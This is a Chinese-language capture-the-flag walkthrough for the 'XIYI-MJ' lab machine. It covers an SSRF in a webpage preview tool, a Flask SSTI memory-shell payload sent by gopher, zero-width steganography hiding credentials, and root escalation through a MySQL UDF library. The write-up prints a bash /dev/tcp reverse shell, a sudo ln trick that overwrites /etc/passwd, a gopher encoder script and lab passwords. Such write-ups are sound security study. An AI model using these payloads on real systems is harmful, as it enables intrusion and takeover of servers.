

XIYI-MJ

1.信息收集

常规扫描

tcp

```
└──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:42 EST
Nmap scan report for 192.168.2.57
Host is up (0.00044s latency).

Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 9.00 seconds
```

```
└──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p22,80 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:43 EST
Nmap scan report for 192.168.2.57
Host is up (0.00024s latency).
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Webpage Preview Tool
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
```

```
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds
```

```
└──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p22,80 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:43 EST
Nmap scan report for 192.168.2.57
Host is up (0.00037s latency).
```

```
PORt STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
```

```
Nmap done: 1 IP address (1 host up) scanned in 37.37 seconds
```

udp

```
└──(root㉿kali)-[/tmp/test]
└─# nmap -sU --top-ports 20 192.168.2.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-12 07:43 EST
Nmap scan report for 192.168.2.57
Host is up (0.00077s latency).
```

PORT	STATE	SERVICE
53/udp	closed	domain
67/udp	closed	dhcps
68/udp	open filtered	dhcpc
69/udp	open filtered	tftp
123/udp	open filtered	ntp

```

135/udp  open|filtered msrpc
137/udp  closed         netbios-ns
138/udp  closed         netbios-dgm
139/udp  open|filtered netbios-ssn
161/udp  closed         snmp
162/udp  closed         snmptrap
445/udp  open|filtered microsoft-ds
500/udp  closed         isakmp
514/udp  closed         syslog
520/udp  open|filtered route
631/udp  closed         ipp
1434/udp closed         ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp closed        unknown
MAC Address: 08:00:27:51:70:67 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

```

Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds

tcp开放22，80端口，udp判断难度较大，优先级可排后

2.web渗透

初步测试

web页面，很容易想到可能存在ssrf漏洞

The screenshot shows the 'Webpage Preview Tool' interface. At the top, it says 'Webpage Preview Tool' and 'Preview any webpage content directly from our server'. Below that is a text input field labeled 'Enter URL to preview' containing 'http://www.baidu.com'. To the right of the input field is a blue 'Preview' button. Underneath the input field, there's a section titled 'Supported URL Types' with the text 'HTTP, HTTPS, FTP, and other standard protocols are supported.' Below this are three examples: 'Example Site' with 'http://baidu.com', 'JSON API' with 'https://httpbin.org/json', and 'The Google' with 'http://google.com'. A green 'Success' button is located at the bottom right of the preview result area. The preview result area contains the HTML code of the baidu homepage.

利用file协议先尝试读取passwd文件

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tftp:x:106:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
lemon:x:1001:1001:lemon:/home/lemon:/bin/bash
mysql:x:107:114:MySQL Server,,,:/nonexistent:/bin/false
```

可以发现存在tftp用户，结合udp扫描结果，猜测可能会存在tftp服务

本地端口探测

ssrf更深的危害，多要结合其他服务产生，读取文件并未发现敏感信息，进行本地端口探测

方法一

老夜提供的方法也是目前最好的方法，读取/proc/net/tcp文件，在Linux系统中/proc/net/tcp文件提供了tcp连接的信息

利用file协议读取

```
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt
uid timeout inode
0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000
0          0 14261 1 0000000054c1d360 100 0 0 10 0
1: 0100007F:091C 00000000:0000 0A 00000000:00000000 00:00000000 00000000
33         0 15132 1 000000005eaf8d0a 100 0 0 10 0
2: 0100007F:091D 00000000:0000 0A 00000000:00000000 00:00000000 00000000
33         0 15144 1 00000000bd9ebf81 100 0 0 10 0
3: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000
107        0 15456 1 00000000a1bd6770 100 0 0 10 0
```

转换一下信息

TCP 连接状态信息

连接列表

连接 0:

- 本地地址: 0.0.0.0:22
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 0 (root)
- Inode: 14261

连接 1:

- 本地地址: 127.0.0.1:2332
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 33
- Inode: 15132

连接 2:

- 本地地址: 127.0.0.1:2333
- 远程地址: 0.0.0.0:0
- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 33
- Inode: 15144

连接 3:

- 本地地址: 127.0.0.1:3306
- 远程地址: 0.0.0.0:0

- 状态: LISTEN (监听)
- 发送队列: 0 字节
- 接收队列: 0 字节
- UID: 107
- Inode: 15456

服务说明

- 端口 22: SSH 服务
- 端口 3306: MySQL 数据库服务
- 端口 2332/2333: 应用程序服务端口
- 所有服务: 处于监听状态, 等待连接

方法二

利用ssrf中的dict协议爆破端口, http协议同样可以

请求	payload	状态码	接收到响应	错误	耗时	长度	注释
2332	2332	200	18		9374		
2333	2333	200	24		9374		
80	80	200	733		9311		
10000	10000	200	5		8784		
1102	1102	200	8		8783		
1670	1670	200	19		8783		

扫出来了2332和2333端口

源码文件

http协议可以得到信息回显

分别是

```
get reply.py
get app.py
```

结合之前信息, 可以尝试tftp连接获取这两个py文件

```
└──(root㉿kali)-[/tmp/test]
└─# tftp 192.168.2.57
tftp> get app.py
tftp> get reply.py
tftp> quit

└──(root㉿kali)-[/tmp/test]
└─# cat *
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return "get app.py"

#此处隐藏

# 直接渲染 - 存在SSTI漏洞，在哪呢？

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=2333, debug=False, threaded=True)
from flask import Flask, request
import socket
import threading

app = Flask(__name__)

def forward_to_2333(data):
    def forward():
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(5)
                s.connect(('127.0.0.1', 2333))

                # 构建HTTP POST请求

```

```

http_request = f"""*****
*****"""
"""

s.send(http_request)

# 接收响应但不处理
response = b""
while True:
    chunk = s.recv(4096)
    if not chunk:
        break
    response += chunk
except:
    pass # 忽略所有错误

# 在后台线程中执行转发
thread = threading.Thread(target=forward)
thread.daemon = True
thread.start()

@app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS',
'HEAD'])
def relay():
    try:
        # 获取原始数据
        raw_data = request.get_data()

        # 在后台转发到2333端口
        if raw_data:
            forward_to_2333(raw_data)

    return "get reply.py"

    except Exception:
        return "get reply.py"

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=2332, debug=False, threaded=True)

```

虽然隐藏了部分代码，结合提示，不难看出2332端口服务作为中继将得到的所有请求体不做任何处理转发到2333端口，在2333端口进行渲染导致ssti漏洞，而且均无回显

而且ssrf仍然支持tftp协议可以直接利用tftp://127.0.0.1/app.py读取源码文件

这也是预期路径，但是由于源码文件藏得不够深，就在opt下，所以同样也可以通过file协议直接读取到完整源码文件

getshell

拿到shell的方法就是gopher打flask，方式有很多，这里采用注入内存马

payload:

```
data={{url_for.__globals__.current_app.after_request_funcs.setdefault(None, []
).append(
    url_for.__globals__['__builtins__']['eval'](
        "lambda resp:
__import__('flask').make_response(__import__('os').popen(__import__('flask').request.args.get('cmd')).read()) if __import__('flask').request.args.get('cmd')
else resp"
))}}
```

gopher编码结果

```
gopher://127.0.0.1:2332/_POST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A23
32%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-
Length%3A%20331%0D%0A%0D%0Adata%3D%7B%7Burl_for.__globals__.current_app.after-
request_funcs.setdefault%28None%2C%20%5B%5D%29.append%28%0A%20%20%20%20url_for
.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%0A%20%20%20%20%20%20%20%20%22lambda%20resp%3A%20__import__%28%27flask%27%29.make_response%28__import__
__%28%27os%27%29.popen%28__import__%28%27flask%27%29.request.args.get%28%27cmd
%27%29%29.read%28%29%20if%20__import__%28%27flask%27%29.request.args.get%28
%27cmd%27%29%20else%20resp%22%0A%29%29%7D%7D
```

发送即可注入内存马，直接<http://127.0.0.1:2333/?cmd=command>即可执行命令

3.提权

lemon

在web目录下发现文件secret_of_lemon.txt，明显文件大小不对，less查看发现零宽字符

```
www-data@XIYI:~/html$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Nov 11 03:57 .
drwxr-xr-x 3 root root 4096 Apr  4 2025 ..
-rw-r--r-- 1 root root 9563 Nov 10 23:06 index.php
-rw-r--r-- 1 root root  547 Nov 11 03:57 secret_of_lemon.txt
```

```
www-data@XIYI:~/html$ cat secret_of_lemon.txt
# Last updated: 2023-11-15
nothing here
#
www-data@XIYI:~/html$
```

解密得到凭据 lemon:Very_sour_lemon

user.txt

```
lemon@XIYI:~$ cat user.txt
flag{lemon-d9832a587d8a4de1e69c94e1d907d421}
```

root

在lemon家目录下发现pass.txt， 经过尝试是mysql数据库密码
lemon的sudo权限以及开放的端口

```
lemon@XIYI:~$ cat pass.txt
root:rootted

lemon@XIYI:~$ sudo -l
Matching Defaults entries for lemon on XIYI:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lemon may run the following commands on XIYI:
    (root) NOPASSWD: /usr/bin/ln -sf * /usr/lib/mysql/plugin/*
```

```
lemon@XIYI:~$ ss -lnt
State      Recv-Q      Send-Q      Local Address:Port      Peer
Address:Port
LISTEN      0          80          127.0.0.1:3306
0.0.0.0:*
LISTEN      0          128         0.0.0.0:22
0.0.0.0:*
LISTEN      0          128         127.0.0.1:2332
0.0.0.0:*
LISTEN      0          128         127.0.0.1:2333
0.0.0.0:*
LISTEN      0          128         *:80
*:*
```

```
LISTEN      0          128          [::]:22  
[::]:*
```

简单筛查可发现root.bak文件，权限仅mysql用户可读

```
lemon@XIVI:~$ find / -iname "*bak*" 2>/dev/null  
/usr/local/lib/python3.9/dist-packages/pytz/zoneinfo/Asia/Baku  
/usr/lib/mysql/plugin/root.bak  
/usr/share/zoneinfo/Asia/Baku  
/usr/share/zoneinfo posix/Asia/Baku  
/usr/share/zoneinfo/right/Asia/Baku  
  
lemon@XIVI:~$ ls -al /usr/lib/mysql/plugin/root.bak  
-r----- 1 mysql mysql 13 Nov 10 22:18 /usr/lib/mysql/plugin/root.bak
```

预期解

通过mysql udf横向提权到mysql读取root.bak，然后提升至root权限

这里不能直接通过load_file()读取文件，即使root.bak在其他目录下，因为mysql读取时是这样情况，其实有点神奇

```
root@XIVI:/tmp# mkdir test  
root@XIVI:/tmp# cd test/  
root@XIVI:/tmp/test# echo "123" >> root.bak  
root@XIVI:/tmp/test# chown mysql:mysql root.bak  
root@XIVI:/tmp/test# chmod 400 root.bak  
root@XIVI:/tmp/test# ls -al  
total 12  
drwxr-xr-x  2 root  root  4096 Nov 12 23:01 .  
drwxrwxrwt 11 root  root  4096 Nov 12 23:01 ..  
-r-----  1 mysql mysql     4 Nov 12 23:01 root.bak  
root@XIVI:/tmp/test# mysql -uroot -prootted  
  
MariaDB [(none)]> select load_file("/tmp/test/root.bak");  
+-----+  
| load_file("/tmp/test/root.bak") |  
+-----+  
| NULL |  
+-----+  
1 row in set (0.000 sec)  
  
MariaDB [(none)]> exit  
Bye  
root@XIVI:/tmp/test# chmod 440 root.bak
```

```

root@XINYI:/tmp/test# ls -al
total 12
drwxr-xr-x  2 root  root  4096 Nov 12 23:01 .
drwxrwxrwt 11 root  root  4096 Nov 12 23:01 ..
-r--r----  1 mysql mysql    4 Nov 12 23:01 root.bak

root@XINYI:/tmp/test# mysql -uroot -prootted

MariaDB [(none)]> select load_file("/tmp/test/root.bak");
+-----+
| load_file("/tmp/test/root.bak") |
+-----+
| NULL                                |
+-----+
1 row in set (0.000 sec)

MariaDB [(none)]> exit
Bye
root@XINYI:/tmp/test# chmod 444 root.bak
root@XINYI:/tmp/test# mysql -uroot -prootted

MariaDB [(none)]> select load_file("/tmp/test/root.bak");
+-----+
| load_file("/tmp/test/root.bak") |
+-----+
| 123                               |
+-----+
1 row in set (0.001 sec)

MariaDB [(none)]>

```

从上述很容易看出问题所在

编译恶意so文件， so文件需要保证mysql进程能够访问

```

udf.c

#include <stdio.h>

#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

```

```
typedef struct st_udf_args {

    unsigned int          arg_count;      // number of arguments
    enum Item_result      *arg_type;       // pointer to item_result
    char                  **args;          // pointer to arguments
    unsigned long          *lengths;        // length of string args
    char                  *maybe_null;     // 1 for maybe_null args

} UDF_ARGS;

typedef struct st_udf_init {

    char                  maybe_null;     // 1 if func can return NULL
    unsigned int          decimals;       // for real functions
    unsigned long          max_length;     // for string functions
    char                  *ptr;           // free ptr for func data
    char                  const_item;     // 0 if result is constant

} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

    if (args->arg_count != 1)

        return(0);

    system(args->args[0]);
}
```

```
        return(0);

    }

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

{
    return(0);

}

-----
lemon@XIYI:/tmp$ gcc -g -shared -o udf.so udf.c -lc
lemon@XIYI:/tmp$ sudo /usr/bin/ln -sf /tmp/udf.so /usr/lib/mysql/plugin/udf.so

lemon@XIYI:/tmp$ mysql -uroot -prootted

MariaDB [(none)]> CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';
Query OK, 0 rows affected (0.002 sec)

MariaDB [(none)]> SELECT * FROM mysql.func WHERE name='do_system';
+-----+-----+-----+
| name      | ret   | dl    | type     |
+-----+-----+-----+
| do_system |    2  | udf.so | function |
+-----+-----+-----+
1 row in set (0.001 sec)

MariaDB [(none)]> SELECT do_system('/bin/bash -c "bash -i >&
/dev/tcp/192.168.2.60/2332 0>&1"');
strace: Process 1123 attached
strace: Process 1124 attached
strace: Process 1125 attached

mysql@XIYI:/var/lib/mysql$ cat root.bak
cat root.bak
root:ezlemon
```

即可接收到mysql权限的shell，提权即可

非预期解

sudo权限提供了ln，路径穿越覆盖即可

```
sudo /usr/bin/ln -sf /home/lemon/passwd  
/usr/lib/mysql/plugin/../../../../etc/passwd
```

root.txt

```
root@XIYI:~# cat /root/root.txt  
flag{root-e6a6e8eac98579c8d826d07df3c132bc}
```

附上脚本

听是好多被gopher编码恶心到了，附上一直在用的脚本

gopher编码脚本

```
#!/usr/bin/env python3  
"""  
gopher_single_encode.py
```

按"单次 percent-encode"规则生成 gopher POST 请求的 selector 和 gopher:// URL。

不会执行网络请求--仅生成编码字符串供你在本地测试使用。

用法（交互式）：

```
python3 gopher_single_encode.py
```

或命令行：

```
python3 gopher_single_encode.py --host 127.0.0.1 --port 5000 --path / --body  
'name=foo'  
python3 gopher_single_encode.py --host 127.0.0.1 --port 5000 --path / --file  
payload.txt  
python3 gopher_single_encode.py --host 127.0.0.1 --port 5000 --path / --  
method GET --body 'cmd=ls'  
"""  
  
import argparse  
import urllib.parse  
import sys  
  
def build_raw_request(host, port, path, body, method="POST",
```

```
extra_headers=None):
    lines = []

    if method.upper() == "GET":
        # 对于GET请求，将参数附加到路径中
        if body:
            if '?' in path:
                path += '&' + body
            else:
                path += '?' + body
        lines.append(f"GET {path} HTTP/1.1")
        lines.append(f"Host: {host}:{port}")
        # GET请求通常没有Content-Type和Content-Length
        if extra_headers:
            for k,v in extra_headers.items():
                lines.append(f"{k}: {v}")

    else:
        # 默认POST请求
        content_length = len(body.encode('utf-8'))
        lines.append(f"POST {path} HTTP/1.1")
        lines.append(f"Host: {host}:{port}")
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": str(content_length),
        }
        if extra_headers:
            headers.update(extra_headers)
        for k,v in headers.items():
            lines.append(f"{k}: {v}")

    request = "\r\n".join(lines) + "\r\n\r\n"

    # 对于POST请求，添加请求体
    if method.upper() == "POST" and body:
        request += body

    return request

def single_encode_selector(raw_request, prefix_underscore=True):
    # Percent-encode the raw_request (encode all non-alphanum)
    encoded = urllib.parse.quote(raw_request, safe='')
    selector = ("_" if prefix_underscore else "") + encoded
    return selector

def make_gopher_url(host, port, selector):
    return f"gopher://{{host}}:{{port}}/{{selector}}"
```

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def parse_args():
    p = argparse.ArgumentParser()
    p.add_argument("--host", "-H", default=None, help="target host (IP)")
    p.add_argument("--port", "-P", default=None, help="target port")
    p.add_argument("--path", default="/", help="HTTP path, e.g. / or /submit")
    p.add_argument("--body", "-d", default=None, help="POST body or GET query
string (raw text). If omitted, will prompt.")
    p.add_argument("--file", "-f", default=None, help="Read payload from
file")
    p.add_argument("--method", "-m", default="POST", choices=["GET", "POST"], help="HTTP method (GET or POST)")
    p.add_argument("--prefix-underscore", action="store_true", default=True, help="prefix selector with '_' (common usage)")
    p.add_argument("--no-prefix-underscore", action="store_false", dest="prefix_underscore", help="do not prefix selector with '_'")
    p.add_argument("--headers", default=None, help="Additional headers in
format 'Header1: Value1;Header2: Value2'")
    return p.parse_args()

def main():
    args = parse_args()
    host = args.host or input("target host (IP, e.g. 127.0.0.1): ").strip()
    port = args.port or input("target port (e.g. 5000): ").strip()
    path = args.path
    method = args.method

    # 处理额外headers
    extra_headers = {}
    if args.headers:
        for header_pair in args.headers.split(';'):
            if ':' in header_pair:
                key, value = header_pair.split(':', 1)
                extra_headers[key.strip()] = value.strip()

    # 从文件或命令行参数获取body
    body = ""
    if args.file:
        try:
            with open(args.file, 'r', encoding='utf-8') as f:
                body = f.read().strip()
        except FileNotFoundError:
            print(f"Error: File {args.file} not found.")
            sys.exit(1)
        except Exception as e:
            print(f"Error reading file: {e}")

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        sys.exit(1)
    elif args.body:
        body = args.body
    else:
        print(f"Enter {method} body/query (single line). End with Enter:")
        body = sys.stdin.readline().rstrip("\n")

    raw_request = build_raw_request(host, port, path, body, method=method,
extra_headers=extra_headers)
    selector = single_encode_selector(raw_request,
prefix_underscore=args.prefix_underscore)
    gopher_url = make_gopher_url(host, port, selector)

    print(f"\n--- RAW HTTP {method} REQUEST (visualized CRLF as \\r\\n) ---\n")
    print(raw_request.replace("\r\n", "\\r\\n"))
    print("\n--- Single-encode selector ---\n")
    print(selector)
    print("\n--- gopher URL (paste into a client that supports gopher) ---\n")
    print(gopher_url)
    print("\n--- NOTES ---")
    if method == "POST":
        print("- Content-Length computed as bytes length of body (UTF-8).")
        print("- This is SINGLE percent-encoding (client needs to decode once to
get real CRLF).")
        print("")

if __name__ == '__main__':
    main()

```

零宽解密脚本

非通用

```

import os
import sys

# --- 零宽字符与二进制位的映射 ---
# ZWSP: \u200b -> 0
# ZWNJ: \u200c -> 1
ZERO_WIDTH_CHARS = {
    '\u200b': '0', # ZERO WIDTH SPACE (ZWSP)
    '\u200c': '1', # ZERO WIDTH NON-JOINER (ZWNJ)
}

```

```
# V3版本中，我们忽略分隔符（如 \u200d），强制按 8 位解析。
BYTE_SIZE = 8

def binary_to_text(binary_data: str) -> str:
    """
    将二进制字符串（8位）转换为对应的文本。
    """
    if not binary_data:
        return ""

    try:
        char_code = int(binary_data, 2)
        return chr(char_code)
    except ValueError:
        return f"[错误：无法解析二进制串 '{binary_data}' ]"
    except OverflowError:
        # 当尝试将非常长的字符串解析为单个数字时出现
        return f"[错误：数字过大或编码无效 '{binary_data}' ]"

def decode_zero_width_steg(encoded_text: str) -> str:
    """
    从包含零宽隐写的文本中解密隐藏消息，强制按 8 位一组解析。
    """

    extracted_bits = ""

    # 1. 提取所有有效的零宽字符并转换成一个连续的二进制长串
    for char in encoded_text:
        if char in ZERO_WIDTH_CHARS:
            extracted_bits += ZERO_WIDTH_CHARS[char]
        # 注意：这里会忽略任何其他零宽字符，如 \u200d (ZWJ)

    if not extracted_bits:
        return "--- ! 未发现有效的零宽隐写信息！(或使用的零宽字符映射不匹配) ---"

    decoded_message = []

    # 2. 强制将二进制长串分割成 8 位一组进行解码
    # 遍历二进制串，步长为 8
    for i in range(0, len(extracted_bits), BYTE_SIZE):
        # 取出当前 8 位
        byte = extracted_bits[i:i + BYTE_SIZE]

        if len(byte) == BYTE_SIZE:
            # 只有完整的 8 位才进行解码
            decoded_char = binary_to_text(byte)
            decoded_message.append(decoded_char)

    return ''.join(decoded_message)
```

```
        decoded_message.append(decoded_char)
    else:
        # 如果剩余的位数不足 8 位，可能是消息结束或填充不完整
        print(f"\n警告: 二进制串长度非 8 的倍数, 忽略剩余 {len(byte)} 位:
{byte} ")

    return "".join(decoded_message)

def decode_from_file(file_path: str):
    """
    从指定文件读取内容并进行零宽隐写解密。
    """

    if not os.path.exists(file_path):
        print(f"❌ 错误: 文件 '{file_path}' 不存在。")
        return

    print(f"--- 正在读取文件: {file_path} ---")

    try:
        # 必须以UTF-8编码读取文件
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()

        secret_message = decode_zero_width_steg(content)

        print("\n*** ✅ 解密结果 ***")
        print(secret_message)
        print("*****")

    except UnicodeDecodeError:
        print("❌ 错误: 文件编码不是 UTF-8, 请确保文件保存为 UTF-8 格式。")
    except Exception as e:
        print(f"❌ 发生错误: {e}")

# --- 主程序入口 ---
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("💡 用法: python3 decode.py <文件路径>")
        sys.exit(1)
    else:
        file_to_decode = sys.argv[1]
        decode_from_file(file_to_decode)
```